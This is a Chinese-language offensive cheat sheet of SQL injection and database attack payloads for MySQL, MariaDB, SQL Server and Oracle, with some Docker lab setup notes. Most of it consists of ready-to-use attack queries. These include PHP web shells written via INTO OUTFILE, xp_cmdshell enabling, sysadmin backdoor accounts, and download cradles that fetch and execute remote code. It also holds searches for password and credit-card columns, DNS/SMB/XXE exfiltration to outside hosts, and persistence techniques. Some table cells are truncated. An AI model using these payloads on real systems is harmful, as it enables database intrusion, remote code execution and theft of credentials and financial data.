sql备忘录

Mysql

攻击队列

信息收集

Description Query
Version SELECT @@version;
User SELECT user() SELECT system_user();
Users SELECT user FROM mysql.user * SELECT Super_priv FROM mysql.user WHERE user= 'root' LIMIT 1,1;
Tables SELECT table_schema, table_name FROM information_schema.tables;
Columns SELECT table_name, column_name FROM information_schema.columns;
Databases SELECT schema_name FROM information_schema.schemata ;
Current Database Name SELECT database();
Query another Database USE [database_name]; SELECT database(); SELECT [column] FROM [database_name].[table_name];
Number of Columns SELECT count(*) FROM information_schema.columns WHERE table_name = '[table_name]';
DBA Accounts SELECT host, user FROM mysql.user WHERE Super_priv = 'Y';
Password Hashes SELECT host, user, password FROM mysql.user;
Schema SELECT schema();
Path to Data SELECT @@datadir;
Read Files SELECT LOAD_FILE('/etc/passwd');

数据定位查询

Description Query
Database sizes SELECT table_schema “Database Name",sum( data_length + index_length ) / 1024 / 1024 “Database Size in MB",sum( data_free )/ 1024 / 1024 “Free Space in MB" FROM information_schema.TABLES GROUP BY table_schema ;
Database name keyword SELECT table_schema “Database Name" FROM information_schema.TABLES WHERE table_schema LIKE “%passwords%" GROUP BY table_schema ;
Table name keyword SELECT table_schema, table_name FROM information_schema.tables WHERE table_schema NOT LIKE “information_schema" AND table_name LIKE "%admin%";
Column name keyword SELECT column_name, table_name FROM information_schema.columns WHERE column_name LIKE ”%password%“;
Column data regex SELECT * from credit_cards WHERE cc_number REGEXP '^4[0-9]{15}$';

命令执行

Description Query
Command Execution (PHP) SELECT "<? echo passthru($_GET['cmd']); ?>" INTO OUTFILE '/var/www/shell.php'
Command Execution with MySQL CLI Access https://infamoussyn.wordpress.com/2014/07/11/gaining-a-root-shell-using-mysql-user-defined-functions-and-setuid-binaries/

读写文件

Description Query
Dump to file SELECT * FROM mytable INTO dumpfile '/tmp/somefile'
Dump PHP Shell SELECT 'system($_GET[\'c\']); ?>' INTO OUTFILE '/var/www/shell.php'
Read File SELECT LOAD_FILE('/etc/passwd')
Read File Obfuscated SELECT LOAD_FILE(0x633A5C626F6F742E696E69) reads c:\boot.ini
File Privileges SELECT file_priv FROM mysql.user WHERE user = 'netspi' SELECT grantee, is_grantable FROM information_schema.user_privileges WHERE privilege_type = 'file' AND grantee like '%netspi%'

横向运动

Description Query
Create Users CREATE USER 'netspi'@'%' IDENTIFIED BY 'password'
Drop User DROP USER netspi

数据泄露

Description Query
DNS Request SELECT LOAD_FILE(concat('\\\\',(QUERY_WITH_ONLY_ONE_ROW),'sql.rqe94e.ceye.io\'))
SMB Share SELECT * FROM USERS INTO OUTFILE '\\attacker\SMBshare\output.txt'
HTTP Server SELECT * FROM USERS INTO OUTFILE '/var/www/html/output.txt'
Numeric Concatenation SELECT length(user()) SELECT ASCII(substr(user(),1))

注入类型

Error Based

Description Query
XML Parse Error SELECT extractvalue(rand(),concat(0x3a,(select version())))
Double Query SELECT 1 AND(SELECT 1 FROM(SELECT COUNT(*),concat(0x3a,(SELECT username FROM USERS LIMIT 0,1),FLOOR(rand(0)2))x FROM information_schema.TABLES GROUP BY x)a)
Get Current Database SELECT a()
ExtractValue (最长32位) select name,password from typecho.typecho_users where name = "admin" and extractvalue(1, concat(0x7e, (select @@version),0x7e));
UpdateXml (最长32位) select name,password from typecho.typecho_users where name = "admin" and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

NAME_CONST(适用于低版本,不太好用)

1
select name,password from typecho.typecho_users where name = "admin" and 1=(select * from (select NAME_CONST(version(),1),NAME_CONST(version(),1)) as x)

Union-Based Injection

Description Query
Union SELECT "mysql" UNION SELECT @@version
Union subquery SELECT "mysql" UNION (select @@version)
Union null SELECT "mysql","test" UNION SELECT @@version,null
Stacked Queries SELECT "mysql"; INSERT INTO 'docs' ('content') VALUES ((SELECT @@version))

Blind Injection

Partial-Blind

Description Query
Version is 5.x.x SELECT substring(version(),1,1)=5
Subselect enabled SELECT 1 AND (select 1)=1
Table log_table exists SELECT 1 AND (select 1 from log_table limit 0,1)=1
Column message exists in table log_table SELECT message FROM log_table LIMIT 0,1
First letter of first message is t SELECT ascii(substring((SELECT message from log_table limit 0,1),1,1))=114

Full-Blind

Description Query
User is root SELECT IF(user() LIKE 'root@%', SLEEP(5), null)
User is root (Benchmark method) SELECT IF(user() LIKE 'root@%', BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds')), null)
Version is 5.x.x SELECT IF(SUBSTRING(version(),1,1)=5,SLEEP(5),null)

MariaDB

docker mariadb

1
2
3
docker search mariadb
docker pull mariadb
docker exec -it 9ce9d8505a1d bash

常用语句

查找所有用户

1
select group_concat(user) from mysql.user;

用户hash:

1
select group_concat(password) from mysql.user where user='root'

数据库

1
SELECT group_concat(schema_name) from information_schema.schemata

表名:

1
2
3
SELECT group_concat(table_name) from information_schema.tables where table_schema='table_name';//表中有主码约束,非空约束等完整性约束条件的才能用这个语句查询出来

SELECT group_concat(table_name) from information_schema.table_constraints where table_schema='table_name_xxx';

列名:

1
SELECT group_concat(column_name) from information_schema.columns where table_name='column_name_xxx';

读文件:

1
SELECT load_file('/etc/passwd');

写文件:

1
SELECT '<?php @eval($_POST[1]);?>' into outfile '/var/www/html/shell.php';

https://blog.zeddyu.info/2019/03/06/Sqli%E5%A4%87%E5%BF%98%E5%BD%95/

SQL Server

docker

1
2
3
4
5
6
7
8
docker pull microsoft/mssql-server-linux
//docker run --name MSSQL_1433 -e 'ACCEPT_EULA=Y' -e 'SA_PASSWORD=mssql' -p 1433:1433 -d microsoft/mssql-server-linux
sudo docker run -e "ACCEPT_EULA=Y" -e "SA_PASSWORD=<Wh0ale@Passw0rd>" \
-p 1433:1433 --name mssql1 \
--cap-add=SYS_PTRACE --security-opt seccomp=unconfined\
-d mcr.microsoft.com/mssql/server:2019-CTP3.2-ubuntu
docker exec -it MSSQL_1433 /bin/bash
/opt/mssql-tools/bin/sqlcmd -S localhost -U SA -P '<Wh0ale@Passw0rd>'

--cap-add //添加某个capabilites属性 --cap-del //剔除某个默认的capabilites属性

gdb调试需要SYS_PTRACE属性

出现内存不足情况

解决方法:

1
2
3
4
5
6
7
8
Edit the /etc/default/grub file.
Set the GRUB_CMDLINE_LINUX value as follows:

GRUB_CMDLINE_LINUX="cgroup_enable=memory swapaccount=1"
Save and close the file.

$ sudo update-grub
Reboot your system.

然后又出现报错Cannot connect to the Docker daemon at unix:///var/run/docker.sock. Is the docker daemon running?

1
2
3
systemctl enable docker # 开机自动启动docker
systemctl start docker # 启动docker
systemctl restart docker # 重启dokcer

继续报错You have to remove (or rename) that container to be able to reuse that name.

1
2
docker kill fd3c0c622af6
docker rm fd3c0c622af6

重新pull就ok了

连接时又出现错误Error: Microsoft ODBC Driver 17 for SQL Server : Login failed for user 'SA'..

1
2
3
sudo docker exec -it sql1 /opt/mssql-tools/bin/sqlcmd \
-S localhost -U SA -P "<YourStrong@Passw0rd>" \
-Q 'ALTER LOGIN SA WITH PASSWORD="<YourNewStrong@Passw0rd>"'

想起来了,密码应该是<Wh0ale@Passw0rd>

攻击队列

信息收集

Description Query
版本 SELECT @@version;
User SELECT user;
SELECT system_user;
SELECT user_name();
SELECT loginame from master..sysprocesses where spid = @@SPID
Users SELECT name from master..syslogins
Tables SELECT table_catalog, table_name FROM information_schema.columns
Columns SELECT table_catalog, column_name FROM information_schema.columns
Databases SELECT name from master..sysdatabases;
Database Name SELECT db_name();
Server Name SELECT @@SERVERNAME
查找存储过程 SELECT * from master..sysobjects where name like 'sp%' order by name desc
用户名的主要ID SELECT SUSER_ID('sa')
主体ID的用户名 SELECT SUSER_NAME(1)
检查帐户是否为管理员 IS_SRVROLEMEMBER(convert(varchar,0x73797361646D696E))
SELECT is_srvrolemember('sysadmin');
Policies SELECT p.policy_id, p.name as [PolicyName], p.condition_id, c.name as [ConditionName], c.facet, c.expression as [ConditionExpression], p.root_condition_id, p.is_enabled, p.date_created, p.date_modified, p.description, p.created_by, p.is_system, t.target_set_id, t.TYPE, t.type_skeleton FROM msdb.dbo.syspolicy_policies p INNER JOIN syspolicy_conditions c ON p.condition_id = c.condition_id INNER JOIN msdb.dbo.syspolicy_target_sets t ON t.object_set_id = p.object_set_id
域用户 https://raw.githubusercontent.com/NetSPI/PowerUpSQL/master/templates/tsql/Get-SQLDomainUser-Example.sql
数据库审计 SELECT a.audit_id, a.name as audit_name, s.name as database_specification_name, d.audit_action_name, d.major_id, OBJECT_NAME(d.major_id) as object, s.is_state_enabled, d.is_group, s.create_date, s.modify_date, d.audited_result FROM sys.server_audits AS a JOIN sys.database_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.database_audit_specification_details AS d ON s.database_specification_id = d.database_specification_id
服务器审核 SELECT audit_id, a.name as audit_name, s.name as server_specification_name, d.audit_action_name, s.is_state_enabled, d.is_group, d.audit_action_id, s.create_date, s.modify_date FROM sys.server_audits AS a JOIN sys.server_audit_specifications AS s ON a.audit_guid = s.audit_guid JOIN sys.server_audit_specification_details AS d ON s.server_specification_id = d.server_specification_id
查询历史 SELECT * FROM (SELECT COALESCE(OBJECT_NAME(qt.objectid),'Ad-Hoc') AS objectname, qt.objectid as objectid, last_execution_time, execution_count, encrypted,<br/>(SELECT TOP 1 SUBSTRING(qt.TEXT,statement_start_offset / 2+1,( (CASE WHEN statement_end_offset = -1 THEN (LEN(CONVERT(NVARCHAR(MAX),qt.TEXT)) * 2)<br/>ELSE statement_end_offset END)- statement_start_offset) / 2+1)) AS sql_statement FROM sys.dm_exec_query_stats AS qs CROSS APPLY sys.dm_exec_sql_text(sql_handle) AS qt ) x ORDER BY execution_count DESC
启用的审核规范 https://gist.github.com/nullbind/5da8b5113da007ba0111
Sysadmin角色中的本地管理员 SELECT is_srvrolemember('sysadmin','BUILTIN\Administrators')
通过数据库链接和openrowset的域用户和LDAP查询 https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/Get-SQLDomainUser-Example.sql

数据定位

能够正确地定位和识别敏感信息可以成倍地减少在数据库中花费的时间

Description Query
列出非默认数据库 SELECT NAME FROM sysdatabases WHERE (NAME NOT LIKE 'distribution') AND (NAME NOT LIKE 'master') AND (NAME NOT LIKE 'model') AND (NAME NOT LIKE 'msdb') AND (NAME NOT LIKE 'publication') AND (NAME NOT LIKE 'reportserver') AND (NAME NOT LIKE 'reportservertempdb') AND (NAME NOT LIKE 'resource') AND (NAME NOT LIKE 'tempdb') ORDER BY NAME;
列出非默认表 SELECT '[' + SCHEMA_NAME(t.schema_id) + '].[' + t.name + ']' AS fulltable_name, SCHEMA_NAME(t.schema_id) AS schema_name, t.name AS table_name, i.rows FROM sys.tables AS t INNER JOIN sys.sysindexes AS i ON t.object_id = i.id AND i.indid < 2 WHERE (ROWS> 0) AND (t.name NOT LIKE 'syscolumns') AND (t.name NOT LIKE 'syscomments') AND (t.name NOT LIKE 'sysconstraints') AND (t.name NOT LIKE 'sysdepends') AND (t.name NOT LIKE 'sysfilegroups') AND (t.name NOT LIKE 'sysfiles') AND (t.name NOT LIKE 'sysforeignkeys') AND (t.name NOT LIKE 'sysfulltextcatalogs') AND (t.name NOT LIKE 'sysindexes') AND (t.name NOT LIKE 'sysindexkeys') AND (t.name NOT LIKE 'sysmembers') AND (t.name NOT LIKE 'sysobjects') AND (t.name NOT LIKE 'syspermissions') AND (t.name NOT LIKE 'sysprotects') AND (t.name NOT LIKE 'sysreferences') AND (t.name NOT LIKE 'systypes') AND (t.name NOT LIKE 'sysusers') ORDER BY TABLE_NAME;
列名搜索 SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE COLUMN_NAME like '%password%'
列出非默认列 SELECT * FROM INFORMATION_SCHEMA.COLUMNS WHERE CHARACTER_MAXIMUM_LENGTH > 14 AND DATA_TYPE NOT IN ('bigint','binary','bit','cursor','date','datetime','datetime2', 'datetimeoffset','float','geography','hierarchyid','image','int','money','real', 'smalldatetime','smallint','smallmoney','sql_variant','table','time','timestamp', 'tinyint','uniqueidentifier','varbinary','xml') AND TABLE_NAME='CreditCard' OR CHARACTER_MAXIMUM_LENGTH < 1 AND DATA_TYPE NOT IN ( 'bigint', 'binary', 'bit', 'cursor', 'date', 'datetime', 'datetime2', 'datetimeoffset', 'float', 'geography', 'hierarchyid', 'image', 'int', 'money', 'real', 'smalldatetime', 'smallint', 'smallmoney', 'sql_variant', 'table', 'time', 'timestamp', 'tinyint', 'uniqueidentifier', 'varbinary', 'xml') AND TABLE_NAME='CreditCard' ORDER BY COLUMN_NAME;
搜索透明加密 SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY a.database_id WHERE is_encrypted=1
按数据库大小搜索 SELECT a.database_id as [dbid], a.name, HAS_DBACCESS(a.name) as [has_dbaccess], SUSER_SNAME(a.owner_sid) as [db_owner], a.is_trustworthy_on, a.is_db_chaining_on, a.is_broker_enabled, a.is_encrypted, a.is_read_only, a.create_date, a.recovery_model_desc, b.filename, (SELECT CAST(SUM(size) * 8. / 1024 AS DECIMAL(8,2)) from sys.master_files where name like a.name) as [DbSizeMb] FROM [sys].[databases] a INNER JOIN [sys].[sysdatabases] b ON a.database_id = b.dbid ORDER BY DbSizeMb DESC

数据定位正则表达式

Description Regex
所有主要的信用卡提供商 ^(?:4[0-9]{12}(?:[0-9]{3})?|(?:5[1-5][0-9]{2}|222[1-9]|22[3-9][0-9]|2[3-6][0-9]{2}|27[01][0-9]|2720)[0-9]{12}|3[47][0-9]{13}|3(?:0[0-5]|[68][0-9])[0-9]{11}|6(?:011|5[0-9]{2})[0-9]{12}|(?:2131|1800|35\d{3})\d{11})$
屏蔽的SSN ^(\d{3}-?\d{2}-?\d{4}|XXX-XX-XXXX)$

特权提升

Description Query
使用户成为DBA EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
授予对所有自定义对象执行 SELECT 'grant exec on ' + QUOTENAME(ROUTINE_SCHEMA) + '.' +
QUOTENAME(ROUTINE_NAME) + ' TO test' FROM INFORMATION_SCHEMA.ROUTINES
WHERE OBJECTPROPERTY(OBJECT_ID(ROUTINE_NAME),'IsMSShipped') = 0 ;
授予所有商店程序执行 CREATE ROLE db_executor
GRANT EXECUTE TO db_executor
exec sp_addrolemember 'db_executor', 'YourSecurityAccount'
UNC路径注入 https://gist.github.com/nullbind/7dfca2a6309a4209b5aeef181b676c6e
https://blog.netspi.com/executing-smb-relay-attacks-via-sql-server-using-metasploit/
检测无法模仿的登录 SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
模拟登录(注意:REVERT将使您回到原始登录状态。) EXECUTE AS LOGIN = 'sa'; SELECT @@VERSION;
创建系统管理员用户 USE [master]
GO
CREATE LOGIN [test] WITH PASSSWORD=N 'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame=N'test', @rolename=N'sysadmin'
GO
创建系统管理员用户 EXEC sp_addlogin 'user', 'pass';
EXEC master.dbo.sp_addsrvrolemember 'user', 'sysadmin';
删除用户 EXEC sp_droplogin 'user';
检索SQL代理连接密码 exec msdb.dbo.sp_get_sqlagent_properties
检索DTS连接密码 select msdb.dbo.rtbldmbprops
获取sysadmin作为本地管理员 https://blog.netspi.com/get-sql-server-sysadmin-privileges-local-admin-powerupsql/
启动存储过程 https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
触发创建 https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
Windows自动登录密码 https://blog.netspi.com/get-windows-auto-login-passwords-via-sql-server-powerupsql/
xp_regwrite非系统管理员执行 https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e
具有可信赖数据库的存储过程 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases
存储过程用户模拟 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-2-user-impersonation/
默认密码 sa:sa
sa:[empty]
[username]:[username]

通过SQL Server执行OS命令

Name Query
xp_cmdshell -- Enable show advanced options
sp_configure 'show advanced options', 1
RECONFIGURE
GO

-- Enable xp_cmdshell sp_configure 'xp_cmdshell', 1
RECONFIGURE
GO

EXEC xp_cmdshell 'net user'
写入注册表自动运行 https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/ https://gist.github.com/nullbind/03af8d671621a6e1cef770bace19a49e
写入文件自动运行 https://blog.netspi.com/how-to-hack-database-links-in-sql-server/
Agent Jobs https://www.optiv.com/blog/mssql-agent-jobs-for-command-execution
存储过程中的SQL注入 https://blog.netspi.com/hacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation/
CLR组装 https://blog.netspi.com/attacking-sql-server-clr-assemblies/
自定义扩展存储过程 https://github.com/NetSPI/PowerUpSQL/blob/master/templates/cmd_exec.cpp

TSQL

Name Query
ActiveX Javascript Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_jscript.sql
ActiveX VBScript Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_activex_vbscript.sql
cmdexec Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_cmdexec.sql
Powershell Agent Job https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_agentjob_powershell.sql
Custom Command Shell https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_customxp.cpp
OLE Automation Object https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_oleautomationobject.sql
OPENROWSET https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_openrowset.sql
Python https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_pythonscript.tsql
R https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_rscript.sql
xp_cmdshell proxy https://github.com/NetSPI/PowerUpSQL/blob/master/templates/tsql/oscmdexec_xpcmdshell_proxy.sql

读写文件

Download Cradle bulk in server - TSQL

设置变量

1
declare @cmd varchar(8000)

创建临时表

1
CREATE TABLE #file (content nvarchar(4000));

将文件读入临时表

1
BULK INSERT #file FROM '\\sharepoint.acme.com@SSL\Path\to\file.txt';

选择文件内容

1
SELECT @cmd = content FROM #file

显示命令

1
SELECT @cmd

运行命令

1
EXECUTE(@cmd)

删除临时表

1
DROP TABLE #file

Download Cradle OAP 1 - TSQL

设置变量

1
2
3
4
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @handle int
DECLARE @Command varchar(8000)

设置包含TSQL的目标URL

1
SET @url = 'http://127.0.0.1/mycmd.txt'

设置命名空间

1
EXEC @handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

调用Open方法以设置HTTP请求

1
EXEC @handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

调用Send方法以发送HTTP GET请求

1
EXEC @handle=sp_OAMethod @WinHTTP,'Send'

捕获HTTP响应内容

1
EXEC @handle=sp_OAGetProperty @WinHTTP,'ResponseText', @Command out

销毁对象

1
EXEC @handle=sp_OADestroy @WinHTTP

显示命令

1
SELECT @Command

Download Cradle OAP 2 - TSQL

设置变量

1
2
3
4
DECLARE @url varchar(300)
DECLARE @WinHTTP int
DECLARE @Handle int
DECLARE @Command varchar(8000)

设置包含TSQL的目标URL

1
SET @url = 'http://127.0.0.1/mycmd.txt'

创建临时表以存储下载的字符串

1
CREATE TABLE #text(html text NULL)

设置命名空间

1
EXEC @Handle=sp_OACreate 'WinHttp.WinHttpRequest.5.1',@WinHTTP OUT

调用Open方法以设置HTTP请求

1
EXEC @Handle=sp_OAMethod @WinHTTP, 'Open',NULL,'GET',@url,'false'

捕获HTTP响应内容

1
2
INSERT #text(html)
EXEC @Handle=sp_OAGetProperty @WinHTTP,'ResponseText'

销毁对象

1
EXEC @Handle=sp_OADestroy @WinHTTP

显示命令

1
2
SELECT @Command = html from #text
SELECT @Command

运行命令

1
EXECUTE (@Command)

删除临时表

1
DROP TABLE #text

横向移动

横向移动使测试人员可以访问不同的功能/数据集,而这些功能/数据无需明确要求更高特权的用户。横向切换用户帐户将暴露不同的信息,并可能有助于损害特权更大的用户。

Description Query
建立使用者 EXEC sp_addlogin 'user', 'pass';
删除用户 EXEC sp_droplogin 'user';
链接抓取 https://blog.netspi.com/sql-server-link-crawling-powerupsql/
作为当前服务连接到远程数据库 --Requires sysadmin
SELECT * FROM OPENDATASOURCE('SQLNCLI', 'Server=MSSQLSRV04\SQLSERVER2016;Trusted_Connection=yes;').master.dbo.sysdatabases

Data Exfiltration

Description Query
发出DNS请求 DECLARE @host varchar(800);
select @host = name + '-' + master.sys.fn_varbintohexstr(password_hash) + '.netspi.com'
from sys.sql_logins; exec('xp_fileexist "' + @host + 'c$boot.ini"');
UNC路径(DNS请求) xp_dirtree '\data.domain.com\file'
The UNC Path Injection Cheatsheet can be found here.
启用sp_send_dbmail并发送查询 sp_configure 'show advanced options', 1;RECONFIGURE;sp_configure 'Database Mail XPs', 1;RECONFIGURE;exec msdb..sp_send_dbmail @recipients='harold@netspi.com',@query='select @@version';
基本的xp_sendmail查询 EXEC master..xp_sendmail 'harold@netspi.com', 'This is a test.'
使用xp_sendmail发送完整电子邮件 EXEC xp_sendmail @ recipients ='harold @ netspi.com',
@ message ='这是一个测试。',
@ copy_recipients ='test @ netspi.com',
@ subject ='TEST'
通过xp_sendmail发送查询结果 EXEC xp_sendmail 'harold@netspi.com', @query='SELECT @@version';
通过xp_sendmail将查询结果作为附件发送 CREATE TABLE ##texttab (c1 text)
INSERT ##texttab values ('Put messge here.')
DECLARE @cmd varchar(56)
SET @cmd = 'SELECT c1 from ##texttab'
EXEC master.dbo.xp_sendmail 'robertk',
@query = @cmd, @no_header='TRUE'
DROP TABLE ##texttab

权限维持

Description Query
Startup stored procedures https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/
Triggers https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
Regwrite https://blog.netspi.com/establishing-registry-persistence-via-sql-server-powerupsql/

注入类型

Error Based

Description Query
显式转换 SELECT convert(int,(SELECT @@version)) SELECT cast((SELECT @@version) as int)
隐式转换 SELECT 1/@@version

MSSQL CAST函数示例

Description Query
将CAST函数插入当前查询 SELECT CAST(@@version as int)
显示系统用户 SELECT CAST(SYSTEM_USER as int);
用xml路径在一行中显示所有数据库 SELECT CAST((SELECT name,',' FROM master..sysdatabases FOR XML path('')) as int)
SELECT CAST((SELECT name AS "data()" FROM master..sysdatabases FOR xml path('')) AS int);
显示服务器名称 SELECT CAST(@@SERVERNAME as int);
显示服务名称 SELECT CAST(@@SERVICENAME as int);
显示数据库列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';
SELECT @listStr = @listStr + Name + ',' FROM master..sysdatabases;
SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示表列表
注意:以下查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);
SET @listStr = '';SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..sysobjects WHERE type = 'U';
SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);SELECT CAST(@myoutput as int);
显示列列表
注意:下面的查询必须在一行中执行。
DECLARE @listStr VARCHAR(MAX);DECLARE @myoutput VARCHAR(MAX);SET @listStr = '';
SELECT @listStr = @listStr + Name + ',' FROM MYDATABASE..syscolumns WHERE id=object_id('MYTABLE');
SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1);select cast(@myoutput as int);
显示列数据
注意:下面的查询必须在一行中执行。用*替换MYCOLUMN以选择所有列
DECLARE @listStr VARCHAR(MAX);
DECLARE @myoutput VARCHAR(MAX);
SET @listStr = '';
SELECT @listStr = @listStr + MYCOLUMN + ',' FROM MYDATABASE..MYTABLE;
SELECT @myoutput = SUBSTRING(@listStr , 1, LEN(@listStr)-1)
SELECT CAST(@myoutput as int);
一次显示一个数据库名称 SELECT TOP 1 CAST(name as int)
FROM sysdatabases
WHERE name in (SELECT TOP 2 name FROM sysdatabases ORDER BY name ASC)
ORDER BY name DESC

Union-Based Injection

基于联合的SQL注入使攻击者可以通过扩展原始查询返回的结果来从数据库中提取信息。仅当原始查询/新查询具有相同的结构(列的数量和数据类型)时,才可以使用Union运算符。

Description Query
联合查询 SELECT user UNION SELECT @@version
联合子查询 SELECT user UNION (SELECT @@version)
Union null
如果原始查询返回的列不止一列,请添加null以等于列数
SELECT user,system_user UNION (SELECT @@version,null)
Union null binary halving
此查询用于检测列数。列过多会返回错误,请查找与错误相距1的[numberOfColumns]
SELECT * FROM yourtable ORDER BY [numberOfColumns]
堆叠查询
堆叠查询并不总是返回结果,因此,它们最适合用于更新/修改数据的注入。
SELECT @@version; SELECT @@version --

Blind Injection

可以通过HTTP响应中不同的HTTP状态代码,响应时间,内容长度和HTML内容来确定部分盲注入。这些标记可以指示正确或错误的陈述。下面的查询将通过对猜测的信息断言是对还是错来尝试利用注入。还可以通过返回1(True)或0(False)行来标识对还是错查询。错误也可以用于标识0(False)。

Description Query
版本是12.0.2000.8 SELECT @@version WHERE @@version LIKE '%12.0.2000.8%'
启用子选择 SELECT (SELECT @@version)
表log_table存在 SELECT * FROM log_table
表log_table中存在列消息 SELECT message from log_table
第一封邮件的首字母为t WITH data AS (SELECT (ROW_NUMBER() OVER (ORDER BY message)) as row,* FROM log_table) SELECT message FROM data WHERE row = 1 and message like 't%'

将部分盲查询转换为全盲查询

全盲查询不会在HTTP / HTML响应中指示查询的任何结果。这使得它们依赖于定时功能和其他带外攻击方法。正确的语句将花费X秒来响应,错误的语句应立即返回。

Description Query
Version is 12.0.2000.8 IF exists(SELECT @@version where @@version like '%12.0.2000.8%') WAITFOR DELAY '00:00:02'

Oracle

docker oracle安装教程

http://www.thxopen.com/linux/docker/2019/04/17/install-oracle11g-on-docker.html

进入docker

1
2
3
docker pull jaspeen/oracle-11g
docker run --privileged --name oracle11g -p 1521:1521 -v /home/tcc/docker/oracle/oracleinstall:/install jaspeen/oracle-11g
docker exec -it oracle11g /bin/bash

修改密码

1
2
alter user sys identified by "sys"
alter user system identified by "system"

报错:ORA-28009 connection as SYS should be as SYSDBA or SYSOPER

将“连接为”选项框的Normal改为SYSDBA或SYSOPER,即可登录成功。

orale利用视图关系:

1
2
3
4
5
6
7
8
9
10
11
12
DBA_TABLES、ALL_TABLES以及USER_TABLES此三个视图可以用来查询ORACLE中关系表信息,它们之间的关系和区别有:

DBA_TABLES >= ALL_TABLES >= USER_TABLES

DBA_TABLES意为DBA拥有的或可以访问的所有的关系表。

ALL_TABLES意为某一用户拥有的或可以访问的所有的关系表。

USER_TABLES意为某一用户所拥有的所有的关系表。
(所以一下内容请不要纠结于all_tables与user_tables关系,本例中为普通用户)

user_tab_columns是保存了当前用户的表、视图和Clusters中的列等信息,用于oracle获取表结构.使用时尽量使用USER_TAB_COLUMNS

攻击队列

信息收集

数据库语句

Oracle 说明
SELECT user FROM dual; 当前用户
SELECT username FROM all_users ORDER BY username; 所有用户
SELECT DISTINCT owner FROM all_tables; 列出数据库
SELECT table_name FROM all_tables; SELECT owner, table_name FROM all_tables; 列出表名
SELECT column_name FROM all_tab_columns WHERE table_name = ‘blah’; 列出字段名
SELECT name FROM V$DATAFILE; 数据库文件
SELECT DISTINCT grantee FROM dba_sys_privs WHERE ADMIN_OPTION = 'YES'; 数据库账户
SELECT UTL_INADDR.get_host_name FROM dual;
SELECT host_name FROM v$instance;
SELECT UTL_INADDR.get_host_address FROM dual; (Gets IP Address)
SELECT UTL_INADDR.get_host_name('10.0.0.1') FROM dual; (Gets Hostnames)
Hostname, IP Address
SELECT banner FROM v$version WHERE banner LIKE 'Oracle%';
SELECT banner FROM v$version WHERE banner LIKE 'TNS%';
SELECT version FROM v$instance;
列出版本

Data Exfiltration

Description Query
Combine multiple lines into one SELECT dbms_xmlgen.getxmltype('select user from dual') FROM dual
XML External Entity SELECT xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://118.25.69.199/xss"> %remote; %param1;]>') FROM dual;
URL_HTTP Request (Pre-11gR2) SELECT UTL_HTTP.request ('http://IP/test') FROM dual;
Escaping special characters `SELECT UTL_URL.escape('http://IP/'

Oracle 带外通信(检测流量)

注入类型

Error Based

Description Query
Invalid HTTP Request SELECT utl_inaddr.get_host_name((select banner from v$version where rownum=1)) FROM dual
CTXSYS.DRITHSX.SN SELECT CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1)) FROM dual
Invalid XPath SELECT ordsys.ord_dicom.getmappingxpath((select banner from v$version where rownum=1),user,user) FROM dual
Invalid XML `SELECT to_char(dbms_xmlgen.getxml('select "'
Invalid XML `SELECT rtrim(extract(xmlagg(xmlelement("s", username

1.使用utl_inaddr.get_host_name()进行报错注入

1
2
3
SQL> select banner from sys.v_$version where rownum=1 and 1=utl_inaddr.get_host_name((select username from user_users));

SQL> select banner from sys.v_$version where rownum=1 and 1=utl_inaddr.get_host_name((select banner from sys.v_$version where rownum=1));

2.使用ctxsys.drithsx.sn()进行报错注入

1
2
